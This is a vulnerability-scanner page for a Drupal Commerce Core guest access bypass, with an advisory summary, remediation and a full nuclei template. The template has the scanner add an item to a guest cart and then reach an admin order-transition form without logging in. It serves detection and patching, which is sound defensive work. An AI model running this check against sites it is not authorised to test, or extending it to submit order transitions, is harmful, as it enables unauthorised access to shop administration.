Browse / CVEs / CVE-2026-118539
CVE-2026-118539· drupal / commerce core· CWE-862
Drupal Commerce Core < 3.3.13 / < 8.x-2.41 - Guest Cart Admin Access Bypass
Drupal Commerce Core before 3.3.13 on the 3.x branch and before 8.x-2.41 on the 2.x branch does not sufficiently protect certain order administration routes. This template finds a public product using a bounded set of 63 canonical product IDs, adds one item to a fresh guest cart, and checks whether the guest can read that cart order's administrative state-transition form. No account, prior order ID, JSON:API, or checkout is required. The guest draft order persists. Sites without a usable product among the sampled IDs produce no finding, which is inconclusive.
Impact
An anonymous guest who owns a draft cart may reach an order administration route that should require Commerce administration access. The advisory also reports possible financial impact; this template only reads the confirmation form and does not submit the transition or complete checkout.
Fix
Upgrade Commerce Core 3.x to 3.3.13 or the earlier branch to 8.x-2.41. Review orders for inconsistencies as advised by Drupal.
How to confirm it
Send: GET {{RootURL}}/product/{{product_id}}
Positive when: status_code == 200 && contains(body, "commerce-order-item-add-to-cart-form")
Send: POST {{RootURL}}/product/{{selected_product_id}}
Positive when: status_code == 200
Send: GET {{RootURL}}/cart
Positive when: status_code == 200 && contains(body, "views_form_commerce_cart_form_default_")
Send: GET {{RootURL}}/admin/commerce/config/orders
Positive when: status 403
Send: GET {{RootURL}}/admin/commerce/orders/{{order_id}}/state/place
Positive when: status_code == 200 && contains(body, "name=\"form_id\" value=\"commerce_order_default_state-transition-confirm_form\"")Run it with nuclei: nuclei -id CVE-2026-118539 -u <target>
The full check
id: CVE-2026-118539
info:
name: Drupal Commerce Core < 3.3.13 / < 8.x-2.41 - Guest Cart Admin Access Bypass
author: alex700,dpuccetti,marcus_johansson,rsnyd
severity: critical
description: |
Drupal Commerce Core before 3.3.13 on the 3.x branch and before 8.x-2.41
on the 2.x branch does not sufficiently protect certain order administration
routes. This template finds a public product using a bounded set of 63
canonical product IDs, adds one item to a fresh guest cart, and checks
whether the guest can read that cart order's administrative state-transition
form. No account, prior order ID, JSON:API, or checkout is required. The
guest draft order persists. Sites without a usable product among the sampled
IDs produce no finding, which is inconclusive.
impact: |
An anonymous guest who owns a draft cart may reach an order administration
route that should require Commerce administration access. The advisory also
reports possible financial impact; this template only reads the confirmation
form and does not submit the transition or complete checkout.
remediation: |
Upgrade Commerce Core 3.x to 3.3.13 or the earlier branch to 8.x-2.41.
Review orders for inconsistencies as advised by Drupal.
reference:
- https://www.drupal.org/sa-contrib-2026-254
- https://www.drupal.org/project/commerce/releases/3.3.13
- https://nvd.nist.gov/vuln/detail/CVE-2026-118539
classification:
cve-id: CVE-2026-118539
epss-score: 0.00671
epss-percentile: 0.52361
cwe-id: CWE-862
metadata:
verified: true
vendor: drupal
product: commerce_core
tags: cve,cve2026,drupal,commerce,access-bypass,unauthenticated,intrusive,vkev
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- method: GET
path:
- "{{RootURL}}/product/{{product_id}}"
payloads:
product_id:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- "13"
- "20"
- "27"
- "34"
- "41"
- "48"
- "55"
- "62"
- "69"
- "76"
- "83"
- "90"
- "97"
- "103"
- "150"
- "197"
- "244"
- "291"
- "338"
- "385"
- "432"
- "479"
- "526"
- "573"
- "620"
- "667"
- "714"
- "761"
- "808"
- "855"
- "902"
- "949"
- "996"
- "1003"
- "1470"
- "1937"
- "2404"
- "2871"
- "3338"
- "3805"
- "4272"
- "4739"
- "5206"
- "5673"
- "6140"
- "6607"
- "7074"
- "7541"
- "8008"
- "8475"
- "8942"
- "9409"
- "9876"
threads: 1
stop-at-first-match: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 && contains(body, "commerce-order-item-add-to-cart-form")'
internal: true
extractors:
- type: regex
name: form_build_id
part: body
regex:
- '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name="form_build_id" value="([^"]+)"'
group: 1
internal: true
- type: regex
name: form_id
part: body
regex:
- '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name="form_id" value="([^"]+)"'
group: 1
internal: true
- type: regex
name: selected_product_id
part: body
regex:
- 'name="form_id" value="commerce_order_item_add_to_cart_form_commerce_product_([0-9]+)"'
group: 1
internal: true
- method: POST
path:
- "{{RootURL}}/product/{{selected_product_id}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: 'form_build_id={{url_encode(form_build_id)}}&form_id={{url_encode(form_id)}}&op=Add+to+cart'
redirects: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- method: GET
path:
- "{{RootURL}}/cart"
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 && contains(body, "views_form_commerce_cart_form_default_")'
internal: true
extractors:
- type: regex
name: order_id
part: body
regex:
- 'name="form_id" value="views_form_commerce_cart_form_default_([0-9]+)"'
group: 1
internal: true
- method: GET
path:
- "{{RootURL}}/admin/commerce/config/orders"
cookie-reuse: true
matchers:
- type: status
status:
- 403
internal: true
- method: GET
path:
- "{{RootURL}}/admin/commerce/orders/{{order_id}}/state/place"
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200 && contains(body, "name=\"form_id\" value=\"commerce_order_default_state-transition-confirm_form\"")'References
- https://www.drupal.org/sa-contrib-2026-254
- https://www.drupal.org/project/commerce/releases/3.3.13
- https://nvd.nist.gov/vuln/detail/CVE-2026-118539
Use this check only on systems you are authorised to test. Where the data comes from